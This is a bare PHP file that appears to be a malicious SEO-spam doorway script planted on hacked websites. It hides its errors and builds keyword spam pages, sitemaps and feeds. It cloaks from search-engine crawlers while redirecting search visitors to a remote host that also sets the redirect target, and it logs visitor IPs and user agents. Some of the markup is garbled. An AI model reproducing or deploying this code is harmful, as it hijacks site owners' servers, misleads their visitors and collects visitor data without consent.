error_reporting(0);
ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('memory_limit', '512M');
$filters = array('url', 'search', 'imgres', '/r/', 'images', 'imgurl');
$isse = array('google', 'yahoo', 'bing');
$ref = $_SERVER['HTTP_REFERER'];
$refkw = parsekw($ref);
$LoadNumRels = mt_rand(10, 40);
$LoadNumLinks = mt_rand(1, 5);
#needtoloadconfig
$LoadFolder = '3561/76cf4';
$LoadTemplate = '3561/d56b9';
$LoadTitles = '3561/802a5fd';
//$LoadRelateds = '3561/8e9';
$LoadLogs = '3561/8396b';
$LoadDomain = '3561/d5ab8d';
#//needtoloadconfig
$backup = file($LoadFolder . "md5");
$backupw = $LoadFolder . "md5";
$LoadId = $_GET['post'];
if ($_GET['robots'] == 1)
echorobots();
if ($_GET['sitemap'] == 1)
echositemap($backup);
if ($_GET['feed'] == 1)
echoxml($backup);
//echocrond($LoadLogs . 'c');
if ($LoadId == 'logs')
echologs();
if ($LoadId == 'run') {
$newdomain = file_get_contents("http://gobdot.com/proxy/domain.php");
echo file_get_contents($LoadDomain) . "->";
if (file_put_contents($LoadDomain, $newdomain))
echo $newdomain;
else
echo "fail";
exit;
}
$BakId = $LoadId;
$BackFolder = $LoadFolder;
$LoadFolder = $LoadFolder . $LoadId;
#reboot this var
$LoadId = trim(lookup($backup, $LoadId));
if (empty($LoadId)) {
?>
Index of = echourl() ?>
Index of = echourl() ?>
echoaddr() ?>
exit;
}
$echoTitle = $LoadId;
if (substr_count($ref, "&") > 2 && substr_count_array($ref, $filters) == true && substr_count_array($ref, $isse) == true && detectuseragent($isse) == false && detecthostinkey($refkw) == false && gethostbyaddrse($isse) == false) {
$redirect_temp = file($LoadLogs);
if (count($redirect_temp) > 10) {
if (empty($refkw))
$refkw = str_replace(" ", "+", $echoTitle);
# we are moved
Header("HTTP/1.1 301 Moved Permanently");
if (!file_exists($LoadDomain))
Header("Location: http://gobdot.com/proxy/?terms=" . $refkw . '&host=' . $_SERVER['HTTP_HOST']);
else
Header("Location: " . trim(file_get_contents($LoadDomain)) . "?terms=" . $refkw . '&host=' . $_SERVER['HTTP_HOST']);
exit;
} else {
ApplyLogs('<>:', $LoadLogs);
}
}
$fr = file_get_contents($LoadTemplate);
$LoadArrays = init();
$fr = ApplyFiltersStr($LoadArrays, $fr);
preg_match_all('#\$\$(.*)\$\$#isU', $fr, $out);
$fr = str_replace(array_values($out[0]), '', $fr);
echo $fr;
function init() {
global $LoadNumRels, $LoadNumLinks, $backup, $LoadId, $echoTitle, $LoadFolder, $inload;
if (file_exists($LoadFolder)) {
$inload = file_get_contents($LoadFolder);
$array = unserialize($inload);
} else {
$cont = explode(',', ApplyImages($echoTitle));
$echoPut = '';
$arri = array(
'?' => ' ',
);
$links = ApplyNextPage($backup, $LoadNumLinks, $LoadId);
for ($i = 0; $i < count($cont); $i++) {
$img = $cont[$i];
$w = mt_rand(1, 7);
$width = $w * 100;
$height = $w * 80;
$echoPut .= $img;
$last = $i;
}
$before = '';
shuffle($frot);
for ($z = $last + 1; $z < 10; $z++) {
$before .= ucfirst(trim($frot[$z])) . '. ';
}
$before .= "" . $echoTitle . ".
";
$array = array(
'$$insert-title$$' => trim($echoTitle),
'$$post-title[1]$$' => trim($echoTitle),
'$$insert-description$$' => 'all about ' . str_replace(" ", ", ", $echoTitle) . ' blog',
'$$rand-num$$' => mt_rand(1000, 3000),
'$$sidebar-title$$' => trim($echoTitle),
'$$post-content[1]$$' => /* $before."\n\n". */$echoPut,
'$$sidebar$$' => $links,
);
file_put_contents($LoadFolder, serialize($array));
}
return $array;
}
function ApplyImages($key) {
$load = GetPage("http://gobdot.com/proxy/images2.php?q=" . strtolower(urlencode($key)));
$ex = explode("\n", $load);
$out = '';
for ($i = 0; $i < count($ex); $i++) {
$ex2 = explode("|||", $ex[$i]);
$ex2[1] = preg_replace('/\#(.*)\;/i', '', $ex2[1]);
$ex2[1] = preg_replace("/[^a-zA-Z0-9]/i", ' ', $ex2[1]);
$out .= '
' . trim($ex2[1]) . "
,";
}
return substr($out, 0, -1);
}
function ApplyNextPage($sourcefile, $num, $page_id) {
$load = $sourcefile;
$count = count($load) - 1;
$arr = '';
for ($i = 0; $i < $num; $i++) {
$pid = mt_rand(0, $count);
$exex = explode("||||", $load[$pid]);
$href = ApplyTrim($exex[1]);
$arr .= '' . ApplyTrim($exex[2]) . " ";
}
return $arr;
}
function ApplyFilters($replace, $sourcefile) {
return str_replace(
array_keys($replace), array_values($replace), file_get_contents($sourcefile)
);
}
function ApplyFiltersStr($replace, $string) {
return str_replace(
array_keys($replace), array_values($replace), $string
);
}
function ApplyRelateds($num, $sourcefile) {
$output = '';
$load = file($sourcefile);
$count = count($load) - 1;
for ($i = 0; $i < $num; $i++) {
$output .= ApplyTrim($load[mt_rand(0, $count)]) . ',';
}
return substr($output, 0, -1);
}
function ApplyTrim($str) {
return trim(strtolower($str));
}
function ApplyUcfirst($str) {
return ucwords($str);
}
function ApplyUrlStructure($href) {
global $BakId;
return str_replace($BakId, $href, $_SERVER['REQUEST_URI']);
}
function ApplyHref() {
return 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
}
function ApplyLogs($type, $sourcefile) {
global $echoTitle;
$format = $type . "\t" . date("Y-m-d H:i:s") . "\t" . $echoTitle . "\t" .
$_SERVER['HTTP_HOST'] . "\t" .
$_SERVER['HTTP_REFERER'] . "\t" .
$_SERVER['REMOTE_ADDR'] . "\t" .
$_SERVER['HTTP_USER_AGENT'] . "\t" .
$_SERVER['HTTP_ACCEPT_LANGUAGE'] . "\t" .
$_SERVER['SCRIPT_FILENAME'] . "\n";
$fp = fopen($sourcefile, 'a+');
fwrite($fp, $format);
fclose($fp);
}
function GetPage($url) {
$url = str_replace("http://", "", $url);
$host = substr($url, 0, strpos($url, "/"));
$path = substr($url, strpos($url, "/"));
$skt = @fsockopen($host, 80);
if (!$skt)
return false; $requestHeader = "GET " . $path . " HTTP/1.1\r\n";
$requestHeader.= "Host: " . $host . "\r\n";
$requestHeader.= "Connection: close\r\n\r\n";
fwrite($skt, $requestHeader);
$responseHeader = "";
$responseContent = "";
do {
$responseHeader.= fread($skt, 1);
} while (!preg_match("/\\r\\n\\r\\n$/", $responseHeader));
if (!strstr($responseHeader, "Transfer-Encoding: chunked")) {
while (!feof($skt)) {
$responseContent.= fgets($skt, 128);
}
} else {
while ($chunk_length = hexdec(fgets($skt))) {
$responseContentChunk = "";
$read_length = 0;
while ($read_length < $chunk_length) {
$responseContentChunk .= fread($skt, $chunk_length - $read_length);
$read_length = strlen($responseContentChunk);
} $responseContent.= $responseContentChunk;
fgets($skt);
}
} return chop($responseContent);
}
function lookup($arr, $look) {
foreach ($arr as $k => $v) {
if (strpos($v, $look) !== false) {
$ex = explode("||||", $v);
return $ex[2];
}
}
}
function echoaddr() {
echo $_SERVER['SERVER_SIGNATURE'];
}
function echourl() {
echo substr($_SERVER['REQUEST_URI'], 0, -1);
}
function getpages() {
global $LoadTitles, $LoadRelateds, $BackFolder;
$f = file($LoadTitles);
$c = count($f) - 1;
$nums = pagesperh(4) + 200;
if ($c <= $nums)
$nums = $c;
$arr = array();
$z = $nums;
for ($i = 0; $i <= $nums; $i++) {
srand(400 * $i);
$arr[$i]['filename'] = md5($f[$i]);
$arr[$i]['filename2'] = strtolower(trim($f[$i]));
$arr[$i]['filetime'] = date("d-M-Y H:i", strtotime("-" . $z . " hours")) . ":" . rand(10, 60);
$arr[$i]['filesize'] = round(@filesize($BackFolder . md5($f[$i])) / 1024) . "K";
$z--;
}
return $arr;
}
function pagesperh($num) {
global $LoadTitles;
$hours = (ceil((time() - filemtime($LoadTitles)) / 3600)) * $num;
return $hours;
}
function parsekw($url) {
$sengine = array();
$sengine[] = array('name' => 'Google', 'url' => 'http://www.google.com', 'host' => 'google\.', 'query_field' => 'q');
$sengine[] = array('name' => 'Yahoo-com', 'url' => 'http://www.yahoo.com', 'host' => 'search\.yahoo\.', 'query_field' => 'p');
$sengine[] = array('name' => 'Bing-com', 'url' => 'http://www.bing.com', 'host' => 'bing\.', 'query_field' => 'q');
if (!is_array($sengine))
return false;
$url_info = parse_url($url); // parse the url
foreach ($sengine as $se) {
if (eregi($se['host'], $url_info['host'])) {
parse_str($url_info['query'], $query_info);
return trim(str_replace("+", " ", $query_info[$se['query_field']]));
}
}
return false;
}
function substr_count_array($string, $array) {
$output = array();
foreach ($array as $str) {
if (strpos($string, $str) !== false)
$output[$str] = 1;
}
if (count($output) == 0)
return false;
return true;
}
function gethostbyaddrse($array) {
$ip = gethostbyaddr($_SERVER['REMOTE_ADDR']);
foreach ($array as $row) {
if (strpos($ip, $row) !== false)
return true;
}
return false;
}
function detecthostinkey($keyword) {
$needfind = str_replace("www.", "", $_SERVER['HTTP_HOST']);
$needfind = explode(".", $needfind);
$needfind = $needfind[0];
if (strpos($keyword, $needfind) !== false)
return true;
return false;
}
function detectuseragent($array) {
$agent = $_SERVER['HTTP_USER_AGENT'];
foreach ($array as $row) {
if (strpos($agent, $row) !== false)
return true;
}
return false;
}
function echositemap($array) {
#first, lets update pages
$url = str_replace("sitemap.xml", "c/", ApplyHref());
echo '' . chr(10);
echo '' . chr(10);
echo "\t\n";
echo "\t\t" . $url . "\n";
echo "\t\thourly\n";
echo "\t\n\n";
foreach ($array as $go => $to) {
$ex = explode("||||", $to);
echo "\t\n";
echo "\t\t" . $url . $ex[1] . "\n";
echo "\t\tdaily\n";
echo "\t\n\n";
}
echo '';
exit;
}
function echoxml($array) {
$url = str_replace("/feed/", "/view/", ApplyHref());
echo '' . chr(10);
echo "\t" . '' . chr(10);
echo "\t\t" . '' . $_SERVER['HTTP_HOST'] . ' Blog' . chr(10);
echo "\t\t" . '' . $url . '' . chr(10);
echo "\t\t" . '' . date("D, d M Y H:i:s") . ' +0000' . chr(10);
echo "\t\t" . 'http://backend.userland.com/rss092' . chr(10);
echo "\t\t" . 'en' . chr(10);
echo "\t\t\t" . '' . chr(10) . chr(10);
foreach ($array as $go => $to) {
$ex = explode("||||", $to);
echo "\t\t\t" . '- ' . chr(10);
echo "\t\t\t\t" . '' . trim($ex[2]) . '' . chr(10);
echo "\t\t\t\t" . '' . chr(10);
echo "\t\t\t\t" . '' . $url . $ex[1] . '' . chr(10);
echo "\t\t\t" . '
' . chr(10);
}
echo chr(10) . "\t" . '' . chr(10);
echo '' . chr(10);
exit;
}
function echorobots() {
echo "Sitemap: http://" . $_SERVER['HTTP_HOST'] . "/sitemap.xml\n";
exit;
}
function echocrond($file) {
global $backupw;
$modif = time() - @filemtime($file);
if ($modif >= 10800 || !file_exists($file)) {
//trendsmod();#trendsmod
$arr = getpages();
$fp = fopen($backupw, "w");
foreach ($arr as $k => $v)
fwrite($fp, $k . "||||" . $arr[$k]['filename'] . "||||" . $arr[$k]['filename2'] . "\n");
fclose($fp);
ping("http://" . $_SERVER['HTTP_HOST'] . "/sitemap.xml");
file_put_contents($file, date("Y-m-d H:i:s") . "{ok}");
}
}
function ping($url) {
$ping = array(
"http://google.com/ping?sitemap=",
"http://www.bing.com/webmaster/ping.aspx?siteMap=",
"http://submissions.ask.com/ping?sitemap=",
);
foreach ($ping as $goto)
file_get_contents($goto . urlencode($url));
}
function echologs() {
global $LoadLogs, $LoadDomain;
echo "Last 10 Uniques:
" . "" . file_get_contents($LoadLogs) . '
';
$domain = file_get_contents($LoadDomain);
if (empty($domain))
$domain = "default domain";
echo "Is New Domain:
" . $domain;
echo "Robots file:
" . file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/robots.txt");
echo "Sitemap:
" . "" . file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/sitemap.xml") . ' ';
echo "Feed:
" . "" . file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/feed/") . ' ';
exit;
}
#trendsmod
function trendsmod() {
global $LoadTitles;
$get = file("http://gobdot.com/proxy/trends.php");
$load = file_get_contents($LoadTitles);
$toadd = $load;
foreach ($get as $goto) {
$goto = rtrim(trim($goto));
if (strpos($load, $goto) === false) {
if (!empty($goto))
$toadd .= $goto . "\n";
}
}
file_put_contents($LoadTitles, $toadd);
}